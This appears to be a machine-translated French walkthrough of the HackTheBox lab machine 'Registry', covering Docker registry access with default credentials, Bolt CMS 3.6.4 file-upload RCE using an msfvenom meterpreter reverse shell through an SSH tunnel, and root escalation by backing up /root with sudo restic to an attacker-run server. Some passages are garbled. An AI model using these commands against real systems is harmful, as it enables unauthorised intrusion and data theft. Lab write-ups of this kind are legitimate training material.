Je continue de publier des solutions envoyées pour un traitement ultérieur à partir du site HackTheBox . J'espère que cela aidera au moins quelqu'un à se développer dans le domaine de la sécurité de l'information. Dans cet article, nous aborderons l'enregistrement des dockers, exécuter RCE dans CMS Bolt et augmenter les privilèges avec le programme de sauvegarde Restic.La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur de travail ou d'un hôte où les données importantes pour vous sont disponibles, car vous vous retrouvez sur un réseau privé avec des personnes qui connaissent quelque chose dans le domaine de la sécurité de l'information :)Information organisationnelle, - , :
- PWN;
- (Crypto);
- c (Network);
- (Reverse Engineering);
- (Stegano);
- WEB-.
, , , .
, ,
Telegram . , ,
.
. , - , .
Recon
Cette machine a une adresse IP 10.10.10.159, que j'ajoute à / etc / hosts.10.10.10.159 registry.htb
Tout d'abord, nous analysons les ports ouverts. Puisqu'il faut beaucoup de temps pour analyser tous les ports avec nmap, je vais d'abord le faire avec masscan. Nous analysons tous les ports TCP et UDP à partir de l'interface tun0 à une vitesse de 1000 paquets par seconde.masscan -e tun0 -p1-65535,U:1-65535 10.10.10.159 --rate=1000
Maintenant, pour des informations plus détaillées sur les services qui fonctionnent sur les ports, nous allons exécuter une analyse avec l'option -A.nmap -A registry.htb -p22,80,443
L'hôte a 3 ports ouverts, tandis que le certificat (port 443) est pour docker.registry.htb. Ajoutez-le également à / etc / hosts.10.10.10.159 docker.registry.htb
Lorsque vous tournez à registry.htb, nous sommes accueillis par l'invite nginx, et docker.registry.htb, nous voyons une page blanche.Passons en revue les répertoires en utilisant gobuster. Dans les paramètres, nous indiquons le nombre de flux 128 (-t), URL (-u), dictionnaire (-w) et extensions qui nous intéressent (-x).gobuster dir -t 128 -u registry.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
Backup.php ne nous donne rien, dans bolt il y a un site avec CMS Bolt, et dans l'installation il y a un fichier, téléchargez-le.wget http://registry.htb/install/ -O ind
Et nous découvrons de quel type de fichier il s'agit.
Nous pouvons lire «les données compressées gzip» tout de suite.
De cette façon, nous obtenons le certificat et les liens vers la documentation de référence du docker.Dans le cas d'un autre domaine, ajoutez l'option -k pour ignorer la vérification du certificat.gobuster dir -t 128 -k -u docker.registry.htb:443 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php
Passons maintenant au répertoire v2, et nous sommes satisfaits par l'authentification.
Et la combinaison la plus simple admin: admin nous donne accès. L'hôte exécute docker regisrty, par conséquent, comme suit à partir de l'explication suivante, nous examinerons ses référentiels à l'adresse suivante: docker.registry.htb / v2 / _catalog .
Et nous trouvons un référentiel.
Installons Docker et passons à la documentation d'installation du certificat.
Accédez au répertoire / etc / docker et ajoutez le certificat de l'archive.sudo mkdir -p "certs.d/docker.registry.htb:443"
sudo nano certs.d/docker.registry.htb\:443/ca.crt
sudo chmod 0600 certs.d/docker.registry.htb:443/ca.crt
Connectez-vous maintenant à Docker.
Maintenant chargez l'image.sudo docker pull docker.registry.htb:443/bolt-image:latest
Et lancez-le.sudo docker run -it docker.registry.htb:443/bolt-image:latest
Et la première chose que nous regardons est SSH. Heureusement, il existe une clé, ainsi qu'une configuration, à partir de laquelle il devient clair que notre utilisateur est verrouillé.
Mais le fait est que la clé est cryptée. Cela signifie que lorsqu'ils seront connectés, ils demanderont un mot de passe. Le résultat est une recherche dans les fichiers de la chaîne «pass».grep -i -r "pass" ./etc/
Ce script demande un mot de passe pour déchiffrer la clé. Et la réponse y est donnée.
Connectez-vous via ssh avec notre clé.
Il y avait un fichier backup.php sur l'hôte, regardons ce qu'il contient.
C'est ainsi que sudo est utilisé, et apparemment sans mot de passe. Mais bolt nécessite un mot de passe.
Cela signifie que nous devons obtenir l'utilisateur du service. Étant donné que CMS Bolt est utilisé, nous pouvons accéder à la base de données sqlite. Télécharge le.scp -i bolt_key bolt@10.10.10.159:/var/www/html/bolt/app/database/bolt.db ./
Commençons à travailler avec la base de données.sqlite3 bolt.db
Voyons les tableaux.
Et obtenez les entrées de la table bolt_users.
Nous avons donc un hachage administrateur. Itérer dessus à l'aide du JTR.
Connectez-vous maintenant à Bolt en tant qu'administrateur. Et nous observons la version 3.6.4.
Il y a des exploits pour cette version.
La vulnérabilité est que nous pouvons ajouter à la configuration l'extension de fichier que nous devons télécharger, puis télécharger le fichier. Faisons un fichier php avec une charge (je dirai à l'avance que cela n'a tout simplement pas fonctionné pour se connecter en arrière; par conséquent, le port 4321 a été transmis :) ssh -i ./bolt_key bolt@registry.htb -R:432:10.0.0.0:4321
.msfvenom -p php/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=4321 -f raw > r.php
cat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php
Et exécutez l'auditeur.
Passons par Configuration -> Configuration principale et ajoutons l'extension php pour pouvoir télécharger le fichier.
Ensuite, allez dans Gestion des fichiers -> Télécharger des fichiers et ajoutez le fichier. Après y avoir accédé, nous verrons la connexion.
Lancez le shell bash, nous observons également que nous travaillons pour le compte de l'utilisateur du service.
Vérifions sudo, observons que la commande de backup.php peut être exécutée sous sudo sans mot de passe.
Restic est un programme de sauvegarde écrit en Golang. Comme nous pouvons faire une sauvegarde sous sudo, nous pouvons copier tout le répertoire racine. Tout d'abord, passons par le port 8000.ssh -i ./bolt_key bolt@registry.htb -R:8000:0.0.0.0:8000
Installez et exécutez rest-server (sur 8000 post sans authentification).
Connectons et initialisons la sauvegarde (restr1).
Maintenant, sauvegardez le répertoire racine.
La sauvegarde a été enregistrée sur la machine locale. Voyons tous les fichiers enregistrés. Trouvez la clé SSH.restic -r /tmp/restic/restr1/ ls latest
Restaurez-le.
Relier
Nous avons un accès complet au système.Vous pouvez nous rejoindre sur Telegram . Vous y trouverez du matériel intéressant, des cours fusionnés ainsi que des logiciels. Créons une communauté dans laquelle il y aura des gens qui connaissent bien de nombreux domaines de l'informatique, puis nous pourrons toujours nous entraider pour tout problème informatique et de sécurité de l'information.